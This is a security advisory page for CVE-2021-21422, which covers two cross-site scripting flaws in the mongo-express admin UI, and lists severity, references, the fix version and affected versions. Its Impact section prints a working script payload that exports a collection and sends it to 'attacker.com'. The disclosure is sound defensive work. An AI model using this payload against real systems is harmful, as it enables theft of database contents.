Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdwOGgtODZwNS13djNw
Cross-site scripting
Two kinds of XSS were found:
- As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
- Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.
Impact
As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" }
This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.
Patches
Upgrade to v1.0.0-alpha.4
For more information
If you have any questions or comments about this advisory:
- Open an issue in mongo-express
- Email me at [email protected]
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdwOGgtODZwNS13djNw
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: almost 3 years ago
Updated: over 1 year ago
CVSS Score: 8.1
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Identifiers: GHSA-7p8h-86p5-wv3p, CVE-2021-21422
References:
- https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p
- https://nvd.nist.gov/vuln/detail/CVE-2021-21422
- https://github.com/mongo-express/mongo-express/issues/577
- https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b
- https://github.com/advisories/GHSA-7p8h-86p5-wv3p
Blast Radius: 17.7
Affected Packages
npm:mongo-express
Dependent packages: 11Dependent repositories: 153
Downloads: 4,952 last month
Affected Version Ranges: <= 1.0.0-alpha.2
Fixed in: 1.0.0-alpha.4
All affected versions: 0.11.0, 0.11.1, 0.11.2, 0.11.3, 0.12.0, 0.13.0, 0.14.1, 0.15.0, 0.16.1, 0.17.0, 0.17.1, 0.17.2, 0.17.3, 0.17.4, 0.17.5, 0.18.0, 0.19.0, 0.20.0, 0.21.0, 0.22.0, 0.23.0, 0.23.1, 0.23.2, 0.23.3, 0.23.4, 0.23.5, 0.23.6, 0.23.7, 0.24.0, 0.25.0, 0.26.0, 0.27.1, 0.27.2, 0.27.3, 0.27.5, 0.27.6, 0.27.7, 0.27.8, 0.28.0, 0.28.1, 0.28.2, 0.28.3, 0.28.4, 0.28.5, 0.28.6, 0.28.7, 0.28.8, 0.29.0, 0.29.1, 0.29.2, 0.29.3, 0.29.4, 0.29.5, 0.29.7, 0.29.8, 0.29.9, 0.29.10, 0.29.11, 0.29.12, 0.29.13, 0.29.14, 0.29.15, 0.29.16, 0.29.17, 0.29.18, 0.29.19, 0.29.20, 0.30.0, 0.30.1, 0.30.2, 0.30.3, 0.30.4, 0.30.6, 0.30.7, 0.30.8, 0.30.9, 0.30.10, 0.30.11, 0.30.12, 0.30.13, 0.30.14, 0.30.15, 0.30.16, 0.30.17, 0.30.18, 0.30.19, 0.30.20, 0.30.21, 0.30.22, 0.30.23, 0.30.24, 0.30.25, 0.30.26, 0.30.27, 0.30.28, 0.30.29, 0.30.31, 0.30.32, 0.30.33, 0.30.34, 0.30.35, 0.30.36, 0.30.37, 0.30.38, 0.30.39, 0.30.40, 0.30.42, 0.30.43, 0.30.44, 0.30.45, 0.30.46, 0.30.47, 0.30.48, 0.30.49, 0.30.50, 0.30.51, 0.30.52, 0.30.53, 0.30.54, 0.30.55, 0.30.56, 0.30.57, 0.30.58, 0.30.59, 0.31.0, 0.31.1, 0.31.2, 0.31.3, 0.31.4, 0.31.5, 0.32.0, 0.33.0, 0.34.0, 0.35.0, 0.37.0, 0.37.1, 0.37.2, 0.38.0, 0.39.0, 0.39.1, 0.39.2, 0.40.0, 0.41.0, 0.42.0, 0.42.1, 0.42.2, 0.42.3, 0.43.1, 0.44.0, 0.45.0, 0.46.0, 0.46.1, 0.47.0, 0.48.1, 0.49.0, 0.51.0, 0.51.1, 0.51.2, 0.52.0, 0.52.1, 0.52.2, 0.53.0, 0.54.0, 1.0.0-alpha.1, 1.0.0-alpha.2
All unaffected versions: 1.0.0, 1.0.1, 1.0.2